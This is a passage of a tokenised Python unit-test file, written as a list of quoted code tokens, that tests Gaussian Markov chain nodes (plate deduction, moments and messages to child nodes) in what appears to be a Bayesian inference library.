"3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "1_", ",_", "1_", ",_", "3_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Check", " ", "with", " ", "input", " ", "signals_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "mu_", "=_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Lambda_", "=_", "3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "A_", "=_", "4_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "B_", "=_", "5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "v_", "=_", "6_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "inputs_", "=_", "[_", "[_", "-_", "2_", "]_", ",_", "[_", "3_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "X_", "=_", "Gaussian", "Markov", "Chain_", "(_", "[_", "mu_", "]_", ",_", "[_", "[_", "Lambda_", "]_", "]_", ",_", "[_", "[_", "A_", ",_", "B_", "]_", "]_", ",_", "[_", "v_", "]_", ",_", "inputs_", "=_", "inputs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "V_", "=_", "(_", "np_", "._", "array_", "(_", "[_", "[_", "v_", "*_", "A_", "**_", "2_", ",_", "-_", "v_", "*_", "A_", ",_", "0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "-_", "v_", "*_", "A_", ",_", "v_", "*_", "A_", "**_", "2_", ",_", "-_", "v_", "*_", "A_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "0_", ",_", "-_", "v_", "*_", "A_", ",_", "0_", "]_", "]_", ")_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "np_", "._", "array_", "(_", "[_", "[_", "Lambda_", ",_", "0_", ",_", "0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "0_", ",_", "v_", ",_", "0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "0_", ",_", "0_", ",_", "v_", "]_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m_", "=_", "(_", "np_", "._", "array_", "(_", "[_", "Lambda_", "*_", "mu_", ",_", "0_", ",_", "0_", "]_", ")_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "np_", "._", "array_", "(_", "[_", "0_", ",_", "v_", "*_", "B_", "*_", "inputs_", "[_", "0_", "]_", "[_", "0_", "]_", ",_", "v_", "*_", "B_", "*_", "inputs_", "[_", "1_", "]_", "[_", "0_", "]_", "]_", ")_", "-_", "\\u\\u\\uNL\\u\\u\\u_", "np_", "._", "array_", "(_", "[_", "v_", "*_", "A_", "*_", "B_", "*_", "inputs_", "[_", "0_", "]_", "[_", "0_", "]_", ",_", "v_", "*_", "A_", "*_", "B_", "*_", "inputs_", "[_", "1_", "]_", "[_", "0_", "]_", ",_", "0_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Cov", "_", "=_", "np_", "._", "linalg_", "._", "inv_", "(_", "V_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mean_", "=_", "np_", "._", "dot_", "(_", "Cov", "_", ",_", "m_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "X_", "._", "update_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "u_", "=_", "X_", "._", "get", "\\u", "moments_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "All", "Close_", "(_", "u_", "[_", "0_", "]_", ",_", "mean_", "[_", ":_", ",_", "None_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "All", "Close_", "(_", "u_", "[_", "1_", "]_", "-_", "u_", "[_", "0_", "]_", "[_", "..._", ",_", "None_", ",_", ":_", "]_", "*_", "u_", "[_", "0_", "]_", "[_", "..._", ",_", ":_", ",_", "None_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Cov", "_", "[_", "(_", "0_", ",_", "1_", ",_", "2_", ")_", ",_", "(_", "0_", ",_", "1_", ",_", "2_", ")_", ",_", "None_", ",_", "None_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "All", "Close_", "(_", "u_", "[_", "2_", "]_", "-_", "u_", "[_", "0_", "]_", "[_", "..._", ",_", ":_", "-_", "1_", ",_", ":_", ",_", "None_", "]_", "*_", "u_", "[_", "0_", "]_", "[_", "..._", ",_", "1_", ":_", ",_", "None_", ",_", ":_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Cov", "_", "[_", "(_", "0_", ",_", "1_", ")_", ",_", "(_", "1_", ",_", "2_", ")_", ",_", "None_", ",_", "None_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Var", "ying", "Gaussian", "Markov", "Chain_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "test\\u", "plates", "\\u", "from", "\\u", "parents_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", " ", "tha", "t", " ", "Var", "ying", "Gaussian", "Markov", "Chain", " ", "deduc", "es", " ", "plates", " ", "correct", "ly", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "check_", "(_", "plates", "\\u", "X_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "\\u", "mu_", "=_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "\\u", "Lambda_", "=_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "\\u", "B_", "=_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "\\u", "S_", "=_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "\\u", "v_", "=_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "D_", "=_", "3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "K_", "=_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "N_", "=_", "4_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "np_", "._", "random_", "._", "seed_", "(_", "42_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mu_", "=_", "Gaussian", "_", "(_", "np_", "._", "random_", "._", "randn_", "(_", "*_", "(_", "plates", "\\u", "mu_", "+_", "(_", "D_", ",_", ")_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "random_", "._", "covariance_", "(_", "D_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Lambda_", "=_", "Wis", "hart", "_", "(_", "D_", "+_", "np_", "._", "ones_", "(_", "plates", "\\u", "Lambda_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "random_", "._", "covariance_", "(_", "D_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "B_", "=_", "Gaussian", "ARD", "_", "(_", "np_", "._", "random_", "._", "randn_", "(_", "*_", "(_", "plates", "\\u", "B_", "+_", "(_", "D_", ",_", "D_", ",_", "K_", ")_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "1_", "+_", "np_", "._", "random_", "._", "rand_", "(_", "*_", "(_", "plates", "\\u", "B_", "+_", "(_", "D_", ",_", "D_", ",_", "K_", ")_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "shape_", "=_", "(_", "D_", ",_", "K_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "plates", "\\u", "B_", "+_", "(_", "D_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "S_", "=_", "Gaussian", "ARD", "_", "(_", "np_", "._", "random_", "._", "randn_", "(_", "*_", "(_", "plates", "\\u", "S_", "+_", "(_", "N_", ",_", "K_", ")_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "1_", "+_", "np_", "._", "random_", "._", "rand_", "(_", "*_", "(_", "plates", "\\u", "S_", "+_", "(_", "N_", ",_", "K_", ")_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "shape_", "=_", "(_", "K_", ",_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "plates", "\\u", "S_", "+_", "(_", "N_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "v_", "=_", "Gamma", "_", "(_", "1_", "+_", "np_", "._", "random_", "._", "rand_", "(_", "*_", "(_", "plates", "\\u", "v_", "+_", "(_", "1_", ",_", "D_", ")_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "1_", "+_", "np_", "._", "random_", "._", "rand_", "(_", "*_", "(_", "plates", "\\u", "v_", "+_", "(_", "1_", ",_", "D_", ")_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "X_", "=_", "Var", "ying", "Gaussian", "Markov", "Chain_", "(_", "mu_", ",_", "Lambda_", ",_", "B_", ",_", "S_", ",_", "v_", ",_", "name_", "=_", "\"", "X", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "plates", "\\u", "X_", ",_", "X_", "._", "plates", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "msg_", "=_", "\"", "Inco", "rrect", " ", "plates", " ", "deduc", "ed", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "check_", "(_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "check_", "(_", "(_", "2_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "\\u", "mu_", "=_", "(_", "2_", ",_", "3_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "check_", "(_", "(_", "6_", ",_", "7_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "\\u", "Lambda_", "=_", "(_", "6_", ",_", "7_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "check_", "(_", "(_", "2_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "\\u", "B_", "=_", "(_", "2_", ",_", "3_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "check_", "(_", "(_", "2_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "\\u", "S_", "=_", "(_", "2_", ",_", "3_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "check_", "(_", "(_", "2_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "\\u", "v_", "=_", "(_", "2_", ",_", "3_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Var", "ying", "Gaussian", "Markov", "Chain_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "message", "\\u", "to", "\\u", "child_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "A", " ", "very", " ", "simple", " ", "check", " ", "bef", "ore", " ", "the", " ", "more", " ", "complex", " ", "ones", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "1", "-", "D", " ", "process", ",", " ", "k", "=", "1", ",", " ", "fixed", " ", "constant", " ", "parameters_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "m_", "=_", "1.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "l_", "=_", "4.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "b_", "=_", "2.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s_", "=_", "[_", "3.0_", ",_", "8.0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "v_", "=_", "5.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "X_", "=_", "Var", "ying", "Gaussian", "Markov", "Chain_", "(_", "[_", "m_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "[_", "l_", "]_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "[_", "[_", "b_", "]_", "]_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "[_", "s_", "[_", "0_", "]_", "]_", ",_", "[_", "s_", "[_", "1_", "]_", "]_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "v_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "(_", "u0", "_", ",_", "u1_", ",_", "u2_", ")_", "=_", "X_", "._", "\\u", "message", "\\u", "to", "\\u", "child_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "C_", "=_", "np_", "._", "array_", "(_", "[_", "[_", "l_", "+_", "b_", "**_", "2_", "*_", "s_", "[_", "0_", "]_", "**_", "2_", "*_", "v_", ",_", "-_", "b_", "*_", "s_", "[_", "0_", "]_", "*_", "v_", ",_", "0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "-_", "b_", "*_", "s_", "[_", "0_", "]_", "*_", "v_", ",_", "v_", "+_", "b_", "**_", "2_", "*_", "s_", "[_", "1_", "]_", "**_", "2_", "*_", "v_", ",_", "-_", "b_", "*_", "s_", "[_", "1_", "]_", "*_", "v_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "0_", ",_", "-_", "b_", "*_", "s_", "[_", "1_", "]_", "*_", "v_", ",_", "v_", "]_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Cov", "_", "=_", "np_", "._", "linalg_", "._", "inv_", "(_", "C_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m0_", "=_", "np_", "._", "dot_", "(_", "Cov", "_", ",_", "[_", "[_", "l_", "*_", "m_", "]_", ",_", "[_", "0_", "]_", ",_", "[_", "0_", "]_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m1_", "=_", "np_", "._", "diag_", "(_", "Cov", "_", ")_", "[_", ":_", ",_", "None_", ",_", "None_", "]_", "+_", "m0_", "[_", ":_", ",_", ":_", ",_", "None_", "]_", "**_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m2_", "=_", "np_", "._", "diag_", "(_", "Cov", "_", ",_", "k_", "=_", "1_", ")_", "[_", ":_", ",_", "None_", ",_", "None_", "]_", "+_", "m0_", "[_", "1_", ":_", ",_", ":_", ",_", "None_", "]_", "*_", "m0_", "[_", ":_", "-_", "1_", ",_", ":_", ",_", "None_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "All", "Close_", "(_", "m0_", ",_", "u0", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "All", "Close_", "(_", "m1_", ",_", "u1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "All", "Close_", "(_", "m2_", ",_", "u2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "check_", "(_", "N_", ",_", "D_", ",_", "K_", ",_", "plates", "_", "=_", "None_", ",_", "mu_", "=_", "None_", ",_", "Lambda_", "=_", "None_", ",_", "B_", "=_", "None_", ",_", "S_", "=_", "None_", ",_", "V_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "mu_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mu_", "=_", "np_", "._", "random_", "._", "randn_", "(_", "D_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "Lambda_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Lambda_", "=_", "random_", "._", "covariance_", "(_", "D_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "B_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "B_", "=_", "np_", "._", "random_", "._", "randn_", "(_", "D_", ",_", "D_", ",_", "K_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "S_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "S_", "=_", "np_", "._", "random_", "._", "randn_", "(_", "N_", "-_", "1_", ",_", "K_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "V_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "V_", "=_", "np_", "._", "random_", "._", "rand_", "(_", "D_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "X_", "=_", "Var", "ying", "Gaussian", "Markov", "Chain_", "(_", "mu_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Lambda_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "B_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "S_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "V_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "plates", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "n_", "=_", "N_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "(_", "u0", "_", ",_", "u1_", ",_", "u2_", ")_", "=_", "X_", "._", "\\u", "message", "\\u", "to", "\\u", "child_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "(_", "mu_", ",_", "mum", "u_", ")_", "=_", "X_", "._", "parents_", "[_", "0_", "]_", "._", "get", "\\u", "moments_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "(_", "Lambda_", ",_", "\\u_", ")_", "=_", "X_", "._", "parents_", "[_", "1_", "]_", "._", "get", "\\u", "moments_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "(_", "b_", ",_", "bb_", ")_", "=_", "X_", "._", "parents_", "[_", "2_", "]_", "._", "get", "\\u", "moments_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "(_", "s_", ",_", "ss_", ")_", "=_", "X_", "._", "parents_", "[_", "3_", "]_", "._", "get", "\\u", "moments_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "(_", "v_", ",_", "\\u_", ")_", "=_", "X_", "._", "parents_", "[_", "4_", "]_", "._", "get", "\\u", "moments_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "v_", "=_", "v_", "*_", "np_", "._", "ones_", "(_", "(_", "N_", "-_", "1_", ",_", "D_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "V", " ", "=", " ", "np", ".", "atl", "east", "\\u", "3d", "(", "v", ")[", "...", ",-", "1", ",:", ",", "Non", "e", "]*", "np", ".", "identi", "ty", "(", "D", ")_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "\\u", "C_", "=_", "X_", "._", "plates", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plates", "\\u", "mu_", "=_", "X_", "._", "plates", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "C_", "=_", "np_", "._", "zeros_", "(_", "plates", "\\u", "C_", "+_", "(_", "N_", ",_", "D_", ",_", "N_", ",_", "D_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plates", "\\u", "mu_", "=_", "np_", "._", "shape_", "(_", "mu_", ")_", "[_", ":_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m_", "=_", "np_", "._", "zeros_", "(_", "plates", "\\u", "mu_", "+_", "(_", "N_", ",_", "D_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m_", "[_", "..._", ",_", "0_", ",_", ":_", "]_", "=_", "np_", "._", "einsum_", "(_", "'...", "ij", ",...", "j", "->", "...", "i", "'_", ",_", "Lambda_", ",_", "mu_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "m", " ", "=", " ", "np", ".", "reshape", "(", "m", ",", " ", "plates", "\\u", "mu", " ", "+", " ", "(", "N", "*", "D", ",)", ")_", "\\u\\u\\uNL\\u\\u\\u_", "A_", "=_", "np_", "._", "einsum_", "(_", "'...", "di", "k", ",...", "nk", "->", "...", "ndi", "'_", ",_", "b_", ",_", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "AA_", "=_", "np_", "._", "einsum_", "(_", "'...", "di", "kj", "l", ",...", "nk", "l", "->", "...", "ndi", "j", "'_", ",_", "bb_", ",_", "ss_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "C_", "[_", "..._", ",_", "0_", ",_", ":_", ",_", "0_", ",_", ":_", "]_", "=_", "Lambda_", "+_", "np_", "._", "einsum_", "(_", "'...", "dij", ",...", "d", "->", "...", "ij", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "AA_", "[_", "..._", ",_", "0_", ",_", ":_", ",_", ":_", ",_", ":_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "v_", "[_", "..._", ",_", "0_", ",_", ":_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "n_", "in_", "range_", "(_", "1_", ",_", "N_", "-_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "C_", "[_", "..._", ",_", "n_", ",_", ":_", ",_", "n_", ",_", ":_", "]_", "=_", "(_", "np_", "._", "einsum_", "(_", "'...", "dij", ",...", "d", "->", "...", "ij", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "AA_", "[_", "..._", ",_", "n_", ",_", ":_", ",_", ":_", ",_", ":_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "v_", "[_", "..._", ",_", "n_", ",_", ":_", "]_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "+_", "v_", "[_", "..._", ",_", "n_", ",_", ":_", ",_", "None_", "]_", "*_", "np_", "._", "identity_", "(_", "D_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "n_", "in_", "range_", "(_", "N_", "-_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "C_", "[_", "..._", ",_", "n_", ",_", ":_", ",_", "n_", "+_", "1_", ",_", ":_", "]_", "=_", "-_", "np_", "._", "einsum_", "(_", "'...", "di", ",...", "d", "->", "...", "id", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "A_", "[_", "..._", ",_", "n_", ",_", ":_", ",_", ":_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "v_", "[_", "..._", ",_", "n_", ",_", ":_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "C_", "[_", "..._", ",_", "n_", "+_", "1_", ",_", ":_", ",_", "n_", ",_", ":_", "]_", "=_", "-_", "np_", "._", "einsum_", "(_", "'...", "di", ",...", "d", "->", "...", "di", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "A_", "[_", "..._", ",_", "n_", ",_", ":_", ",_", ":_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "v_", "[_", "..._", ",_", "n_", ",_", ":_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "C_", "[_", "..._", ",_", "-_", "1_", ",_", ":_", ",_", "-_", "1_", ",_", ":_", "]_", "=_", "v_", "[_", "..._", ",_", "-_", "1_", ",_", ":_", ",_", "None_", "]_", "*_", "np_", "._", "identity_", "(_", "D_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "C_", "=_", "np_", "._", "reshape_", "(_", "C_", ",_", "plates", "\\u", "C_", "+_", "(_", "N_", "*_", "D_", ",_", "N_", "*_", "D_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Cov", "_", "=_", "np_", "._", "linalg_", "._", "inv_", "(_", "C_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Cov", "_", "=_", "np_", "._", "reshape_", "(_", "Cov", "_", ",_", "plates", "\\u", "C_", "+_", "(_", "N_", ",_", "D_", ",_", "N_", ",_", "D_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m0_", "=_", "np_", "._", "einsum_", "(_", "'...", "min", "j", ",...", "nj", "->", "...", "mi", "'_", ",_", "Cov", "_", ",_", "m_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m1_", "=_", "np_", "._", "zeros_", "(_", "plates", "\\u", "C_", "+_", "(_", "N_", ",_", "D_", ",_", "D_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m2_", "=_", "np_", "._", "zeros_", "(_", "plates", "\\u", "C_", "+_", "(_", "N_", "-_", "1_", ",_", "D_", ",_", "D_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "n_", "in_", "range_", "(_", "N_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "m1_", "[_", "..._", ",_", "n_", ",_", ":_", ",_", ":_", "]_", "=_", "Cov", "_", "[_", "..._", ",_", "n_", ",_", ":_", ",_", "n_", ",_", ":_", "]_", "+_", "np_", "._", "einsum_", "(_", "'...", "i", ",...", "j", "->", "...", "ij", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "m0_", "[_", "..._", ",_", "n_", ",_", ":_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "m0_", "[_", "..._", ",_", "n_", ",_", ":_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "n_", "in_", "range_", "(_", "N_", "-_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "m2_", "[_", "..._", ",_", "n_", ",_", ":_", ",_", ":_", "]_", "=_", "Cov", "_", "[_", "..._", ",_", "n_", ",_", ":_", ",_", "n_", "+_", "1_", ",_", ":_", "]_", "+_", "np_", "._", "einsum_", "(_", "'...", "i", ",...", "j", "->", "...", "ij", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "m0_", "[_", "..._", ",_", "n_", ",_", ":_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "m0_", "[_", "..._", ",_", "n_", "+_", "1_", ",_", ":_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "All", "Close_", "(_", "m0_", ",_", "u0", "_", "*_", "np_", "._", "ones_", "(_", "np_", "._", "shape_", "(_", "m0_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "All", "Close_", "(_", "m1_", ",_", "u1_", "*_", "np_", "._", "ones_", "(_", "np_", "._", "shape_", "(_", "m1_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "All", "Close_", "(_", "m2_", ",_", "u2_", "*_", "np_", "._", "ones_", "(_", "np_", "._", "shape_", "(_", "m2_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "check_", "(_", "2_", ",_", "1_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "check_", "(_", "2_", ",_", "3_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "check_", "(_", 